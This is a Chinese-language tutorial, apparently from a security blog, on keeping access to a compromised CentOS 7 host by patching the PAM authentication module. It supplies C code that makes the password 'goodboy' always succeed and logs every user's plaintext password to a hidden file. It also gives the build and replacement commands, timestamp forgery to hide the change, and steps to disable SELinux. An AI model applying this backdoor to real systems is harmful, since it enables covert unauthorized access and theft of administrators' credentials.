0x00-前言 PAM(Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX 9.0等。


简而言之,PAM中 包含Linux的登录认证模块,并且Linux开源,所以我们便可以修改认证文件中的代码逻辑,实现权限维持。


查看pam版本:

  • getconf LONG_BIT
  • cat /etc/redhat-release
  • rpm -qa | grep pam
  • apt-get list --installed | grep pam

查看系统版本

  • cat /etc/issue
  • cat /etc/*-release
  • cat /etc/lsb-release
  • cat /etc/redhat-release

PAM包下载地址:


http://www.linux-pam.org/library


0x01-实验环境

Centos7 root权限

PAM版本1.1.8

Linux权限维持之PAM万能密码登录_java

安装gcc


yum install gcc


首先下载对应版本的PAM包,解压


http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

修改moudles/pam_unix/pam_unix_auth.c文件,修改处位于180行



Linux权限维持之PAM万能密码登录_java_02

改成如下代码,代码很简单。修改判断逻辑,并且记录管理员的登录到/usr/share/java/.null中




Linux权限维持之PAM万能密码登录_java_03

代码


if(strcmp(p,"goodboy")==0){    retval = PAM_SUCCESS;}
if(retval== PAM_SUCCESS){ FILE *fp = fopen("/usr/share/java/.null","a+"); fprintf(fp,"%s::%s\n",name,p); fclose(fp);}


修改完后在Linux-PAM-1.1.8.tar.gz 目录中执行./configure && make

Linux权限维持之PAM万能密码登录_linux_04

OK,遇到yywrap未定义引用不要慌,执行


yum install flex-devel flex重新./configure && make


编译好的文件在modules/pam_unix/.libs/中

Linux权限维持之PAM万能密码登录_linux_05

随后替换 pam_unix.so文件,系统原本的认证文件为/lib64/security/pam_unix.so



32位系统为/lib/security/pam_unix.so



#备份cp -af /lib64/security/pam_unix.so /opt/#用编译好的pam_unix.so文件替换cp -af pam_unix.so /lib64/security/#修改时间touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so


随后关闭SElinux


vim /etc/selinux/configSELINUX=disabled


验证

Linux权限维持之PAM万能密码登录_pam_06

使用goodboy密码顺利登录系统。当然我使用原本root的密码也能登录,并且会被记录在/usr/share/java/.null中。




Linux权限维持之PAM万能密码登录_java_07

Linux权限维持之PAM万能密码登录_gcc_08